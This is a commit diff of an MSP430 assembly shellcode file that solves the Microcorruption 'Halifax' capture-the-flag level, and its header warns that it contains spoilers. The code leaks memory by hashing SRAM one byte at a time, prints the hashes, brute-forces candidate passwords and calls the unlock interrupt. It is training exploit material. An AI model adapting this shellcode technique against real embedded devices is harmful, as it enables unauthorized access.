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Update shellcode.asm

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John 2024-07-31 11:59:45 -05:00
parent 822c7f3700
commit 5a1112db8f
1 changed files with 12 additions and 14 deletions
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26
sample-asm/shellcode.asm
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@ -1,13 +1,11 @@
; © 2023-2024 John Breaux
; Comtains spoilers for Microcorruption Halifax! Be warned!
; just hash the first 0x140 B and stick them in memory
const:
.define msize 0x1 ; length of each hash in bytes
.define hsize 0x3 ; bytes kept per hash (only needs to be 3 to determine 1 byte of sram)
.define sr_len 0x140 ; number of bytes in sram to dump
.define ha_len 0x3c0 ; number of bytes in hash array (hsize * sr_len)
.define haddr 0x7000 ; address of the big hash array
.define iaddr 0x8000 ; address of the sram input buffer
.define kaddr 0x9000 ; address of the key buffer
@ -24,7 +22,7 @@ external_func:
.define puts #0x4586
; memcpy(void *dest, void *src, size_t len)
.define memcpy #0x45a4
; sha256_internal(void * sram_addr, size_t sr_len, void * sha_buf)
; sha256_internal(void *sram_addr, size_t sr_len, void * sha_buf)
.define sha256_internal #0x45b6
; memset(void* buf, char value, size_t length)
.define memset #0x45c8
@ -35,10 +33,10 @@ get_sram_hashes:
mov #haddr, r13 ; set destination to 0x8000
sr_loop:
mov r11, r15 ; mov addr r15
call sha256_internal ; <sha256_internal>
call sha256_internal ; sha256_internal (i, msize, haddr + i * hsize)
add #hsize, r13 ; keep 3 bytes of the output
inc r11 ; inc r11
cmp #sr_len, r11 ; do that 0x1000 times
cmp #sr_len, r11 ; do that sram_len times
jnc sr_loop
print_hex:
@ -53,27 +51,27 @@ print_hex:
clrc
and #0xf, r14
mov.b HEX_LUT(r15), r15
call putchar ; <putchar>
call putchar ; putchar (HEX_LUT[haddr[i] >> 4])
mov.b HEX_LUT(r14), r15
call putchar ; <putchar>
inc r11 ; inc r11
cmp #ha_len, r11 ; do that sram_length*3 times
call putchar ; putchar (HEX_LUT[haddr[i] & 0xf])
inc r11
cmp #sr_len * hsize, r11 ; do that sram_length * hash_size times
jnc ph_loop
mov.b #0xa, r15 ; '\n'
call #0x4578 ; putchar ('\n')
mov.b #'\n', r15 ; '\n'
call putchar ; putchar ('\n')
take_input:
mov #sr_len, r14
mov #iaddr, r15
call getsn ; <getsn>
call getsn ; getsn (iaddr, sr_len)
check_all_passwords:
;for i in 0..sr_len:
clr r9
pw_loop:
; memcpy(kaddr, iaddr + i, len)
; memcpy (kaddr, iaddr + i, len)
mov #0x10, r13
mov #iaddr, r14
add r9, r14
@ -84,7 +82,7 @@ check_all_passwords:
push #0x42
call INT
add #4, sp
; INT(7f)
; INT (7f)
unlock7f:
push #0
push #0